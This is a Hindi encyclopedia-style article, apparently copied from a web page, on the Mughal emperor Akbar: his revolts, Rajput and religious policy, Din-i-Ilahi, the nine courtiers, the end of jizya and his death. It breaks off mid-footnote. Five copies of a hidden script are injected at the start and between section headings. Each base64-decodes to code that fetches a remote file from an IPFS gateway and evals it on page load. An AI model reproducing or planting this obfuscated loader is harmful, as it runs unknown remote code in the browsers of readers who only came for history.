<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> अकबर ने बरार, अहमदनगर एवं ख़ानदेश की सूबेदारी शाहज़ादा दानियाल को प्रदान कर दी। बीजापुर एवं गोलकुण्डा पर अकबर अधिकार नहीं कर सका। इस तरह अकबर का साम्राज्य कंधार एवं काबुल से लेकर बंगाल तक और कश्मीर से लेकर बरार तक फैला था।

महत्त्वपूर्ण विद्रोह

अकबर के समय में हुए महत्त्वपूर्ण विद्रोह निम्नलिखित हैं-

उजबेगों का विद्रोह

उजबेग वर्ग पुराने अमीर थे। इस वर्ग के प्रमुख विद्रोही नेता थे- जौनपुर के सरदार ख़ान जमान, उसका भाई बहादुर ख़ाँ एवं चाचा इब्राहीम ख़ाँ, मालवा का सूबेदार अब्दुल्ला ख़ाँ, अवध का सूबेदार ख़ाने आलम आदि। ये सभी विद्रोही सरदार अकबर की अधीनता स्वीकार करने के लिए तैयार नहीं थे। 1564 ई. में मालवा के अब्दुल्ला ख़ाँ ने विद्रोह किया। यह विद्रोह अकबर के समय का पहला विद्रोह था। इन विद्रोहों को अकबर ने बड़ी सरलता से दबा लिया।

मिर्ज़ाओं का विद्रोह

मिर्ज़ा वर्ग के लोग अकबर के रिश्तेदार थे। इस वर्ग के प्रमुख विद्रोही नेता थे- इब्राहिम मिर्ज़ा, मुहम्मद हुसैन मिर्ज़ा, मसूद हुसैन, सिकन्दर मिर्ज़ा एवं महमूद मिर्ज़ा आदि। चूंकि इस वर्ग का अकबर से ख़ून का रिश्ता था, इसलिए ये अधिकार की अपेक्षा करते थे। इसी से उपजे असन्तोष के कारण इस वर्ग ने विद्रोह किया। अकबर ने 1573 ई. तक मिर्ज़ाओं के विद्रोह को पूर्ण रूप से कुचल दिया।

बंगाल एवं बिहार का विद्रोह

1580 ई. में बंगाल में बाबा ख़ाँ काकशल एवं बिहार में मुहम्मद मासूम काबुली एवं अरब बहादुर ने विद्रोह किया। राजा टोडरमल के नेतृत्व में अकबर की सेना ने 1581 ई. में विद्रोह को कुचला।

यूसुफ़जइयों का विद्रोह

अकबर के कश्मीर अभियान के समय 1585 ई. में पश्चिमोत्तर सीमा पर यूसुफ़जइयों की आक्रामक गतिविधयों के कारण स्थिति अत्यन्त गंभीर हो गयी थी। अकबर ने जैलख़ान कोकलताश के नेतृत्व में इनसे निपटने हेतु सेना भेजी। बीरबल और हाकिम अब्दुल फ़तह भी बाद में उसकी सहायता के लिए नियुक्त किये गये, किन्तु अभियान के दौरान मतभेद होने के कारण वापस लौटते हुये यूसुफ़जइयों ने पीछे से हमला किया। इसी हमले में बीरबल की मृत्यु हो गयी। उत्तर पश्चिम सीमा प्रान्त की समस्याओं ने अकबर को अन्त तक प्रभावित किया।

अकबर को महारानी एलिज़ाबेथ द्वारा भेजा गया दूत, फ़तेहपुर सीकरी - 1586

शाहज़ादा सलीम का विद्रोह

अकबर के लाड़-प्यार में पला सलीम काफ़ी बिगड़ चुका था। वह बादशाह बनने के लिए उत्सुक था। 1599 ई. में सलीम अकबर की आज्ञा के बिना अजमेर से इलाहाबाद चला गया। यहाँ पर उसने स्वतन्त्र शासक की तरह व्यवहार करना शुरू किया। 1602 ई. में अकबर ने सलीम को समझाने का प्रयत्न किया। उसने सलीम को समझाने के लिए दक्षिण से अबुल फज़ल को बुलवाया। रास्ते में जहाँगीर के निर्देश पर ओरछा के बुन्देला सरदार वीरसिंह देव ने अबुल फ़ज़ल की हत्या कर दी। निःसंदेह जहाँगीर का यह कार्य अकबर के लिए असहनीय था, फिर भी अकबर ने सलीम के आगरा वापस लौटकर (1603 ई.) में माफ़ी मांग लेने पर माफ़ कर दिया। अकबर ने उसे मेवाड़ जीतने के लिए भेजा, पर वह मेवाड़ न जाकर पुनः इलाहाबाद पहुँच गया। कुछ दिन तक सुरा और सुन्दरी में डूबे रहने के बाद अपनी दादी की मुत्यु पर सलीम 1604 ई. में वापस आगरा गया। जहाँ अकबर ने उसे एक बार फिर माफ़ कर दिया। इसके बाद सलीम ने विद्रोहात्मक रूख नहीं अपनाया।

अकबर की राजपूत नीति

अकबर की राजपूत नीति उसकी गहन सूझ-बूझ का परिणाम थी। अकबर राजपूतों की शत्रुता से अधिक उनकी मित्रता को महत्व देता था। अकबर की राजपूत नीति दमन और समझौते पर आधारित थी। उसके द्वारा अपनायी गयी नीति पर दोनों पक्षों का हित निर्भर करता था। अकबर ने राजपूत राजाओं से दोस्ती कर श्रेष्ठ एवं स्वामिभक्त राजपूत वीरों को अपनी सेवा में लिया, जिससे मुग़ल साम्राज्य काफ़ी दिन तक जीवित रह सका। राजपूतों ने मुग़लों से दोस्ती एवं वैवाहिक सम्बन्ध स्थापित कर अपने को अधिक सुरक्षित महसूस किया। इस तरह अकबर की एक स्थायी, शक्तिशाली एवं विस्तृत साम्राज्य की कल्पना को साकार करने में राजपूतों ने महत्त्वपूर्ण योगदान दिया। अकबर ने कुछ राजपूत राजाओं जैसे- भगवान दास, राजा मानसिंह, बीरबल एवं टोडरमल को उच्च मनसब प्रदान किया था। अकबर ने सभी राजपूत राजाओं से स्वयं के सिक्के चलाने का अधिकार छीन लिया तथा उनके राज्य में भी शाही सिक्कों का प्रचलन करवाया।

धार्मिक नीति

अकबर प्रथम सम्राट था, जिसके धर्मिक विचारों में क्रमिक विकास दिखायी पड़ता है। उसके इस विकास को तीन कालों में विभाजित किया जा सकता है।

  • प्रथम काल (1556-1575 ई.) - इस काल में अकबर इस्लाम धर्म का कट्टर अनुयायी था। जहाँ उसने इस्लाम की उन्नति हेतु अनेक मस्जिदों का निर्माण कराया, वहीं दिन में पाँच बार नमाज़ पढ़ना, रोज़े रखना, मुल्ला मौलवियों का आदर करना, जैसे उसके मुख्य इस्लामिक कृत्य थे।
  • द्वितीय काल (1575-1582 ई.) - अकबर का यह काल धार्मिक दृष्टि से क्रांतिकारी काल था। 1575 ई. में उसने फ़तेहपुर सीकरी में इबादतखाने की स्थापना की। उसने 1578 ई. में इबादतखाने को धर्म संसद में बदल दिया। उसने शुक्रवार को मांस खाना छोड़ दिया। अगस्त-सितम्बर, 1579 ई. में महजर की घोषणा कर अकबर धार्मिक मामलों में सर्वोच्च निर्णायक बन गया। महजरनामा का प्रारूप शेख़ मुबारक द्वारा तैयार किया गया था। उलेमाओं ने अकबर को ‘इमामे-आदिल’ घोषित कर विवादास्पद क़ानूनी मामले पर आवश्यकतानुसार निर्णय का अधिकार दिया।
  • तृतीय काल (1582-1605 ई.) - इस काल में अकबर पूर्णरूपेण 'दीन-ए-इलाही' में अनुरक्त हो गया। इस्लाम धर्म में उसकी निष्ठा कम हो गयी। हर रविवार की संध्या को इबादतखाने में विभिन्न धर्मों के लोग एकत्र होकर धार्मिक विषयों पर वाद-विवाद किया करते थे। इबादतखाने के प्रारम्भिक दिनों में शेख़, पीर, उलेमा ही यहाँ धार्मिक वार्ता हेतु उपस्थित होते थे, परन्तु कालान्तर में अन्य धर्मों के लोग जैसे ईसाई, जरथुस्ट्रवादी, हिन्दू, जैन, बौद्ध, फ़ारसी, सूफ़ी आदि को इबादतखाने में अपने-अपने धर्म के पत्र को प्रस्तुत करने के लिए आमंत्रित किया गया। इबादतखाने में होने वाले धार्मिक वाद विवादों में अबुल फ़ज़ल की महत्त्वपूर्ण भूमिका होती थी।

दीन-ए-इलाही

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सभी धर्मों के सार संग्रह के रूप में अकबर ने 1582 ई. में दीन-ए-इलाही (तौहीद-ए-इलाही) या दैवी एकेश्वरवाद नामक धर्म का प्रवर्तन किया तथा उसे राजकीय धर्म घोषित कर दिया। इस धर्म का प्रधान पुरोहित अबुल फ़ज़ल था। इस धर्म में दीक्षा प्राप्त करने वाला व्यक्ति अपनी पगड़ी एवं सिर को सम्राट अकबर के चरणों में रखता था। सम्राट उसे उठाकर उसके सिर पर पुन: पगड़ी रखकर ‘शस्त’ (अपना स्वरूप) प्रदान करता था, जिस पर ‘अल्ला हो अकबर’ खुदा रहता था। इस मत के अनुयायी को अपने जीवित रहने के समय ही श्राद्ध भोज देना होता था। माँस खाने पर प्रतिबन्ध था एवं वृद्ध महिला तथा कम उम्र की लड़कियों से विवाह करने पर पूर्णत: रोक थी। महत्त्वपूर्ण हिन्दू राजाओं में बीरबल ने इस धर्म को स्वीकार किया था। इतिहासकार स्मिथ ने दीन-ए-इलाही पर उदगार व्यक्त करते हुए कहा है कि, ‘यह उसकी साम्राज्यवादी भावनाओं का शिशु व उसकी राजनीतिक महत्वाकांक्षाओं का एक धार्मिक जामा है।’ स्मिथ ने यह भी लिखा है कि, ‘दीन-ए-इलाही’ अकबर के अहंकार एवं निरंकुशता की भावना की उपज थी। 1583 ई. में एक नया कैलेण्डर इलाही संवत् शुरू किया। अकबर पर इस्लाम धर्म के बाद सबसे अधिक प्रभाव हिन्दू धर्म का था।

कला और साहित्य में योगदान

हमज़ानामा
  • सोलहवीं शताब्दी के मध्य में भारत मुसव्वरखानों की हालत बिखरी हुई थी। चाहे कई पुस्तकें बंगाल, मांडू और गोलकुण्डा के कलाकारों के हाथों चित्रित हुई थीं।
  • राजपूत दरबार में संस्कृत और हिन्दी की कई पाण्डुलिपियाँ चित्रित हुई थीं और जैन चित्र उसी तरह गुजरात और राजस्थान में बन रहे थे। उस समय बादशाह अकबर ने कलाकारों के लिए बहुत बड़ा स्थान तैयार करवाया और कलाकार दूर-दूर से आगरा आने लगे, भारत की राजधानी में।
  • अकबर के इस बहुत बड़े तस्वीरखाना में से जो पहली किताब तैयार हुई वह थी—तोतीनामा।
  • अकबर की सरपरस्ती में जो बहुत बड़ा काम हुआ, वह था—हमज़ानामा। यह हज़रत मुहम्मद के चाचा अमीरहमज़ा के जंगी कारनामों की दास्तान है जो चौदह जिल्दों में तरतीब दी गयी। हर जिल्द में एक सौ चित्र थे। यह सूती कपड़े के टुकड़ों पर चित्रित की गई थी और इसे मुकम्मल सूरत देते हुए पन्द्रह बरस लगे।
  • जरीन-कलम़ का अर्थ है सुनहरी कलम। यह एक किताब थी जो अकबर बादशाह ने कैलीग्राफी़ के माहिर एक कलाकार मुहम्मद हुसैन अल कश्मीरी को दी गई थी।
  • अम्बरी क़लम़ भी एक किताब थी जो अकबर ने अब्दुल रहीम को दी थी। महाभारत, रामायण, हरिवंश, योगवाशिष्ठ और अथर्ववेद जैसे कई ग्रंथों का फ़ारसी से अनुवाद भी बादशाह अकबर ने कराया था।
  • रज़म-नामा महाभारत फ़ारसी अनुवाद का नाम है जिसका अनुवाद विद्वान ब्राह्मणों की मदद से बदायूँनी जैसे इतिहासकारों ने किया था, 1582 में और उसे फ़ारसी के शायर फ़ैज़ी ने शायराना जुबान दी थी।
  • राज कुँवर किसी हिन्दू कहानी को लेकर फ़ारसी में लिखी हुई किताब है जिसके लेखक ने गुमनाम रहना पसंद किया था। इसकी इक्यावन पेण्टिंग सलीम के इलाहाबाद वाले तस्वीर खाने में तैयार हुई थीं।[2]

अबुल फ़ज़ल का वर्गीकरण

अबुल फ़ज़ल ने अरस्तु द्वारा उल्लिखित 4 तत्वों आग, वायु, जल, भूमि को सम्राट अकबर की शरीर रचना में समावेश माना। अबुल फ़ज़ल ने योद्धाओं की तुलना अग्नि से, शिल्पकारों एवं व्यापारियों की तुलना वायु से, विद्वानों की तुलना पानी से एवं किसानों की तुलना भूमि से की। शाही कर्मचारियों का वर्गीकरण करते हुए अबुल फ़ज़ल ने उमरा वर्ग की अग्नि से, राजस्व अधिकारियों की वायु से, विधि वेत्ता, धार्मिक अधिकारी, ज्योतिषी, कवि एवं दार्शनिक की पानी से एवं बादशाह के व्यक्तिगत सेवकों की तुलना भूमि से की है।

हमज़ानामा

अबुल फ़ज़ल ने आइने अकबरी में लिखा है कि, ‘बादशाहत एक ऐसी किरण है, जो सम्पूर्ण ब्रह्माण्ड को प्रकाशित करने में सक्षम है।’ इसे समसामयिक भाषा में फर्रे-इजदी कहा गया है। सूफ़ी मत में अपनी आस्था जताते हुए अकबर ने चिश्ती सम्प्रदाय को आश्रय दिया। अकबर ने सभी धर्मों के प्रति अपनी सहिष्णुता की भावना के कारण अपने शासनकाल में आगरा एवं लाहौर में ईसाईयों को गिरिजाघर बनवाने की अनुमति प्रदान की। अकबर ने जैन धर्म के जैनाचार्य हरिविजय सूरि को जगत गुरु की उपाधि प्रदान की। खरतर-गच्छ सम्प्रदाय के जैनाचार्य जिनचन्द्र सूरि को अकबर ने 200 बीघा भूमि जीवन निर्वाह हेतु प्रदान की। सम्राट पारसी त्यौहार एवं संवत् में विश्वास करता था। अकबर पर सर्वाधिक प्रभाव हिन्दू धर्म का पड़ा। अकबर ने बल्लभाचार्य के पुत्र विट्ठलनाथ को गोकुल और जैतपुरा की जागीर प्रदान की। अकबर ने सिक्ख गुरु रामदास को 500 बीघा भूमि प्रदान की। इसमें एक प्राकृतिक तालाब था। बाद में यहीं पर अमृतसर नगर बसाया गया और स्वर्ण मन्दिर का निर्माण हुआ।

अकबर के नवरत्न

अकबर के दरबार को सुशोभित करने वाले 9 रत्न थे-

बीरबल

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

नवरत्नों में सर्वाधिक प्रसिद्ध बीरबल का जन्म कालपी में 1528 ई. में ब्राह्मण वंश में हुआ था। बीरबल के बचपन का नाम 'महेशदास' था। यह अकबर के बहुत ही नज़दीक था। उसकी छवि अकबर के दरबार में एक कुशल वक्ता, कहानीकार एवं कवि की थी। अकबर ने उसकी योग्यता से प्रभावित होकर उसे (बीरबल) कविराज एवं राजा की उपाधि प्रदान की, साथ ही 2000 का मनसब भी प्रदान किया। बीरबल पहला एवं अन्तिम हिन्दू राजा था, जिसने दीन-ए-इलाही धर्म को स्वीकार किया था। अकबर ने बीरबल को नगरकोट, कांगड़ा एवं कालिंजर में जागीरें प्रदान की थीं। 1583 ई. में बीरबल को न्याय विभाग का सर्वोच्च अधिकारी बनाया गया। 1586 ई. में युसुफ़जइयों के विद्रोह को दबाने के लिए गये बीरबल की हत्या कर दी गई। अबुल फ़ज़ल एवं बदायूंनी के अनुसार-अकबर को सभी अमीरों से अधिक बीरबल की मृत्यु पर शोक पहुँचा था।

अबुल फ़ज़ल

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सूफ़ी शेख़ मुबारक के पुत्र अबुल फ़ज़ल का जन्म 1550 ई. में हुआ था। उसने मुग़लकालीन शिक्षा एवं साहित्य में अपना बहुमूल्य योगदान दिया है। 20 सवारों के रूप में अपना जीवन आरम्भ करने वाले अबुल फ़ज़ल ने अपने चरमोत्कर्ष पर 5000 सवार का मनसब प्राप्त किया था। वह अकबर का मुख्य सलाहकार व सचिव था। उसे इतिहास, दर्शन एवं साहित्य पर पर्याप्त जानकारी थी। अकबर के दीन-ए-इलाही धर्म का वह मुख्य पुरोहित था। उसने अकबरनामा एवं आइने अकबरी जैसे महत्त्वपूर्ण ग्रन्थों की रचना की थी। 1602 ई. में सलीम (जहाँगीर) के निर्देश पर दक्षिण से आगरा की ओर आ रहे अबुल फ़ज़ल की रास्ते में बुन्देला सरदार ने हत्या कर दी।

टोडरमल

अकबरनामा के अनुसार, अकबर के दरबार का एक दृश्य

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उत्तर प्रदेश के एक क्षत्रिय कुल में पैदा होने वाले टोडरमल ने अपने जीवन की शुरुआत शेरशाह सूरी के जहाँ नौकरी करके की थी। 1562 ई. में अकबर की सेवा में आने के बाद 1572 ई. में उसे गुजरात का दीवान बनाया गया तथा बाद में 1582 ई. में वह प्रधानमंत्री बन गया। दीवान-ए-अशरफ़ के पद पर कार्य करते हुए टोडरमल ने भूमि के सम्बन्ध में जो सुधार किए, वे नि:संदेह प्रशंसनीय हैं। टोडरमल ने एक सैनिक एवं सेना नायक के रूप में भी कार्य किया। 1589 ई. में टोडरमल की मृत्यु हो गई।

तानसेन

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संगीत सम्राट तानसेन का जन्म ग्वालियर में हुआ था। उसके संगीत का प्रशंसक होने के नाते अकबर ने उसे अपने नौ रत्नों में शामिल किया था। उसने कई रागों का निर्माण किया था। उनके समय में ध्रुपद गायन शैली का विकास हुआ। अकबर ने तानसेन को ‘कण्ठाभरणवाणीविलास’ की उपाधि से सम्मानित किया था। तानसेन की प्रमुख कृतियाँ थीं-मियां की टोड़ी, मियां की मल्हार, मियां की सारंग, दरबारी कान्हड़ा आदि। सम्भवत: उसने इस्लाम धर्म स्वीकार कर लिया था।

मानसिंह

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आमेर के राजा भारमल के पौत्र मानसिंह ने अकबर के साम्राज्य विस्तार में बहुत ही महत्त्वपूर्ण भूमिका निभाई थी। मानसिंह से सम्बन्ध होने के बाद अकबर ने हिन्दुओं के साथ उदारता का व्यवहार करते हुए जज़िया कर को समाप्त कर दिया। काबुल, बिहार, बंगाल आदि प्रदेशों पर मानसिंह ने सफल सैनिक अभियान चलाया।

अब्दुर्रहीम ख़ानख़ाना

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बैरम ख़ाँ का पुत्र अब्दुर्रहीम उच्च कोटि का विद्वान एवं कवि था। उसने तुर्की में लिखे बाबरनामा का फ़ारसी भाषा में अनुवाद किया था। जहाँगीर अब्दुर्रहीम के व्यक्तित्व से सर्वाधिक प्रभावित था, जो उसका गुरु भी था। रहीम को गुजरात प्रदेश को जीतने के बाद अकबर ने ख़ानख़ाना की उपाधि से सम्मानित किया था।

मुल्ला दो प्याज़ा

अरब का रहने वाला प्याज़ा हुमायूँ के समय में भारत आया था। अकबर के नौ रत्नों में उसका भी स्थान था। भोजन में उसे दो प्याज़ अधिक पसन्द था। इसीलिए अकबर ने उसे दो प्याज़ा की उपाधि प्रदान की थी।

हक़ीम हुमाम

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यह अकबर के रसोई घर का प्रधान था।

फ़ैजी

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अबुल फ़ज़ल का बड़ा भाई फ़ैज़ी अकबर के दरबार में राज कवि के पद पर आसीन था। वह दीन-ए-इलाही धर्म का कट्टर समर्थक था। 1595 ई. में उसकी मृत्यु हो गई।

आगरा में राजधानी की व्यवस्था

मुग़लों के शासन के प्रारम्भ से सुल्तानों के शासन के अंतिम समय तक दिल्ली ही भारत की राजधानी रही थी। सुल्तान सिकन्दर शाह लोदी के शासन के उत्तर काल में उसकी राजनीतिक गतिविधियों का केन्द्र दिल्ली के बजाय आगरा हो गया था। यहाँ उसकी सैनिक छावनी थी। मुग़ल राज्य के संस्थापक बाबर ने शुरू से ही आगरा को अपनी राजधानी बनाया। बाबर के बाद हुमायूँ और शेरशाह सूरी और उसके उत्तराधिकारियों ने भी आगरा को ही राजधानी बनाया। मुग़ल सम्राट अकबर ने पूर्व व्यवस्था को कायम रखते हुए आगरा को राजधानी का गौरव प्रदान किया। इस कारण आगरा की बड़ी उन्नति हुई और वह मुग़ल साम्राज्य का सबसे बड़ा नगर बन गया था। कुछ समय बाद अकबर ने फ़तेहपुर सीकरी को राजधानी बनाया।

जज़िया कर की समाप्ति

कछवाहा राजकुमारी से विवाह और राजपूतों की घनिष्ठता का असर होना ही था। साथ ही बीरबल भी पहुँच चुके थे। अकबर ने पिछले साल तीर्थ कर समाप्त कर दिया था। अब उसने एक और बड़ा क़दम उठाया और केवल हिन्दुओं पर जज़िया के नाम से जो कर लगता था, उसे अपने सारे राज्य में बन्द करवा दिया। यह कर पहले-पहल द्वितीय ख़लीफ़ा उमर ने अ-मुस्लिमों पर लगाया था, जो कि हैसियत के मुताबिक 48, 24 और 12 दिरहम[3] सलाना होता था। जज़िया केवल बालिग पुरुषों से ही लिया जाता था। जिससे सल्तनत को भारी आमदनी प्राप्त होती थी, पर अकबर ने इस आमदनी की कोई परवाह नहीं की। वह समझता था कि इस प्रकार वह अपनी बहुसंख्यक हिन्दू प्रजा के ह्रदय को जीत सकेगा। औरंगज़ेब ने 115 वर्ष के बाद राजा जसवन्त सिंह के मरने के बाद 1679 ई. में फिर जज़िया हिन्दुओं पर लगा दिया।

लोग समझते थे, अबुल फ़ज़ल के प्रभाव में आकर अकबर उदार बना, लेकिन तीर्थ कर और जज़िया को अबुल फ़ज़ल के दरबार में पहुँचने से दस साल पहले ही अकबर ने बन्द कर दिया था। 22 वर्ष की आयु में ही वह समझ गया था कि, शासन में हिन्दू-मुसलमान का भेद समाप्त करना होगा।

धर्मस्थलों के निर्माण की आज्ञा

अकबरनामा के अनुसार, सम्राट अकबर एक पेड़ के नीचे बैठकर अपने दरबारियों को पशुओं के वध के लिए मना करते हुए

सम्राट अकबर ने सभी धर्म वालों को अपने मंदिर−देवालय आदि बनवाने की स्वतंत्रता प्रदान की थी। जिसके कारण ब्रज के विभिन्न स्थानों में पुराने पूजा−स्थलों का पुनरूद्धार किया गया और नये मंदिर−देवालयों को बनवाया गया था।

गो−वध पर रोक

हिन्दू समुदाय में गौ को पवित्र माना जाता है। मुसलमान हिन्दुओं को आंतकित करने के लिए गौ−वध किया करते थे। अकबर ने गौ−वध बंद करने की आज्ञा देकर हिन्दू जनता के मन को जीत लिया था। शाही आज्ञा से गौ−हत्या के अपराध की सज़ा मृत्यु थी।

धार्मिक विद्वानों का सत्संग

जिस समय अकबर ने अपनी राजधानी फ़तेहपुर सीकरी में स्थानान्तरित की, उस समय उसकी धार्मिक जिज्ञासा बड़ी प्रबल थी। उसने वहाँ राजकीय इमारतों के साथ ही साथ एक इबादतखाना (उपासना गृह) भी सन् 1575 में बनवाया था, जहाँ वह सभी धर्मों के विद्वानों के प्रवचन सुन उनसे विचार−विमर्श किया करता था। वह अपना अधिकांश समय धर्म−चर्चा में ही लगाता था। वह मुस्लिम धर्म के विद्वानों के साथ ही साथ ईसाई, जैन और वैष्णव धर्माचार्यों के प्रवचन सुनता था और कभी−कभी उनमें शास्त्रार्थ भी कराता था। सन् 1576 से जनवरी, सन् 1579 तक लगभग 3 वर्ष तक वहाँ धार्मिक विचार−विमर्श का ज़ोर बढ़ता गया। उस समय के धर्माचार्य श्री विट्ठलनाथ जी का नाम विशेष रूप से उल्लेखनीय है। हीरविजय सूरि श्वेतांबर जैन धर्म के विद्वान आचार्य थे। अकबर ने दीन-ए-इलाही धर्म बनाया और चलाया।

ब्रजमंडल में अकबर

दिल्ली के सुल्तानों के पश्चात मथुरा मंडल पर मुग़ल सम्राट का शासन हुआ था। उनमें सम्राट अकबर सर्वाधिक प्रसिद्ध हैं। उसने अपनी राजधानी दिल्ली के बजाय आगरा में रखी थी। आगरा ब्रजमंडल का प्रमुख नगर है; अत: राजकीय रीति−नीति का प्रभाव इस भूभाग पर पड़ा था। ये सम्राट अकबर की धार्मिक नीति थी, जिससे ब्रज के अन्य धर्मावलंबी प्रचुरता से लाभान्वित हुए थे। सम्राट अकबर से पहले ग्वालियर और बटेश्वर (ज़िला आगरा) जैन धर्म के परंपरागत केन्द्र थे। अकबर के शासन काल में आगरा भी इस धर्म का प्रसिद्ध केन्द्र हो गया था। ग्वालियर और बटेश्वर का तो पहले से ही सांस्कृतिक एवं धार्मिक महत्त्व था, किंतु आगरा राजनीतिक कारण से जैनियों का केन्द्र बना। ब्रजमंडल के जैन धर्मावलंबियों में अधिक संख्या व्यापारी वैश्यों की थी। उनमें सबसे अधिक अग्रवाल, खंडेलवाल−ओसवाल आदि थे। मुग़ल साम्राज्य की राजधानी आगरा उस समय में व्यापार−वाणिज्य का भी बड़ा केन्द्र था, इसलिए वणिक वृत्ति के जैनियों का वहाँ बड़ी संख्या में एकत्र होना स्वाभाविक था।

अकबर का ब्रजमंडल में प्रभाव

मुग़ल सम्राट अकबर की उदार धार्मिक नीति के फलस्वरूप ब्रजमंडल में वैष्णव धर्म के नये मंदिर−देवालय बनने लगे और पुरानों का जीर्णोंद्धार होने लगा, तब जैन धर्मावलंबियों में भी उत्साह का संचार हुआ था। गुजरात के विख्यात श्वेतांबराचार्य हीर विजय सूरि से सम्राट अकबर बड़े प्रभावित हुए थे। सम्राट ने उन्हें बड़े आदरपूर्वक सीकरी बुलाया, वे उनसे धर्मोपदेश सुना करते थे। इस कारण मथुरा−आगरा आदि ब्रज प्रदेश में बसे हुए जैनियों में आत्म गौरव का भाव जागृत हो गया था। वे लोग अपने मंदिरों के निर्माण अथवा जीर्णोद्धार के लिए प्रयत्नशील हो गये थे। आचार्य हीर विजय सूरि जी स्वयं मथुरा पधारे थे। उनकी यात्रा का वर्णन 'हीर सौभाग्य' काव्य के 14 वें सर्ग में हुआ था। उसमें लिखा है, सूरि जी ने मथुरा में विहार कर पार्श्वनाथ और जम्बू स्वामी के स्थलों तथा 527 स्तूपों की यात्रा की थी। सूरि जी के कुछ काल पश्चात सन् 1591 में कवि दयाकुशल ने जैन तीर्थों की यात्रा कर तीर्थमाला की रचना की थी। उसके 40 वें पद्य में उसने अपने उल्लास का इस प्रकार कथन किया है,−

मथुरा देखिउ मन उल्लसइ । मनोहर थुंम जिहां पांचसइं ।।
गौतम जंबू प्रभवो साम । जिनवर प्रतिमा ठामोमाम ।।

मृत्यु

सम्राट अकबर अपनी योग्यता, वीरता, बुद्धिमत्ता और शासन−कुशलता के कारण ही एक बड़े साम्राज्य का निर्माण कर सका था। उसका यश, वैभव और प्रताप अनुपम था। इसलिए उसकी गणना भारतवर्ष के महान सम्राटों में की जाती है। उसका अंतिम काल बड़े क्लेश और दु:ख में बीता था। अकबर ने 50 वर्ष तक शासन किया था। उस दीर्घ काल में मानसिंह और रहीम के अतिरिक्त उसके सभी विश्वसनीय सरदार−सामंतों का देहांत हो गया था। अबुल फ़ज़ल, बीरबल, टोडरमल, पृथ्वीराज जैसे प्रिय दरबारी परलोक जा चुके थे। उसके दोनों छोटे पुत्र मुराद और शहज़ादा दानियाल का देहांत हो चुका था। पुत्र सलीम शेष था; किंतु वह अपने पिता के विरुद्ध सदैव षड्यंत्र और विद्रोह करता रहा था। जब तक अकबर जीवित रहा, तब तक सलीम अपने दुष्कृत्यों से उसे दु:खी करता रहा; किंतु वह सदैव अपराधों को क्षमा करते रहे थे। जब अकबर सलीम के विद्रोह से तंग आ गया, तब अपने उत्तरकाल में उसने उस बड़े बेटे शाहज़ादा ख़ुसरो को अपना उत्तराधिकारी बनाने का विचार किया था। किंतु अकबर ने ख़ुसरो को अपना उत्तराधिकारी नहीं बनाया, लेकिन उस महत्त्वाकांक्षी युवक के मन में राज्य की जो लालसा जागी, वह उसकी अकाल मृत्यु का कारण बनी। जब अकबर अपनी मृत्यु−शैया पर था, उस समय उसने सलीम के सभी अपराधों को क्षमा कर दिया और अपना ताज एवं खंजर देकर उसे ही अपना उत्तराधिकारी घोषित कर दिया था। उस समय अकबर की आयु 63 वर्ष और सलीम की 38 वर्ष थी। अकबर का देहावसान अक्टूबर, सन् 1605 में हुआ था। उसे आगरा के पास सिकंदरा में दफ़नाया गया, जहाँ उसका कलापूर्ण मक़बरा बना हुआ है। अकबर के बाद सलीम जहाँगीर के नाम से मुग़ल सम्राट बना।


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टीका टिप्पणी और संदर्भ

  1. अकबरनामा |लेखक: शेख अबुल फजल |अनुवादक: डॉ. मथुरालाल शर्मा |प्रकाशक: राधा पब्लिकेशन, नई दिल्ली |पृष्ठ संख्या: 1 |
  2. अक्षरों की रासलीला (हिन्दी) भारतीय साहित्य संग्रह। अभिगमन तिथि: 30 अप्रॅल, 2010
  3. दाम, दिरहम का ही अपभ्रंश है। मूलत: यह ग्रीक सिक्का द्राखमा था। द्राखमा और दिरहम चाँदी के सिक्के थे, जबकि दाम ताँबे का पैसा था, जो एक रुपये में 40 होता था। एक दाम में 315 से 325 ग्राम तक ताँबा होता था। अकबर के समय जज़िया में कितना दिरहम लिया जाता था, इसकी जानकारी नहीं है। मुहम्मद बिन कासिम ने 712 में सिंध को जीतते समय हिन्दुओं पर जज़िया लगाया था। फ़िरोज़शाह तुग़लक़ (1351-1388 ई.) ने 40, 42 और 10 टका जज़िया लगाया था। ब्राह्मणों को जज़िया नहीं देना पड़ता था, लेकिन उसने उन पर भी 10 टका 50 जीतल कर लगाया। दिरहम में 48 ग्रेन चाँदी होती थी-रुपये में 180 ग्रेन के क़रीब चाँदी रहती थी। एक दाम में 25 जीतल माना जाता था, पर जीतल का कोई सिक्का नहीं था, यह केवल हिसाब के लिए प्रयोग होता था। फ़िरोज़शाह का चाँदी का सिक्का 175 ग्रेन का था। काणी चाँदी के जीतल को कहते थे, जो पौने तीन ग्रेन की होती थी। एक टका में 64 कणियाँ होती थीं, जैसे रुपये में ताँबे का पैसा। जान पड़ता है कि अकबर के समय चाँदी के टके की जगह पर चाँदी का 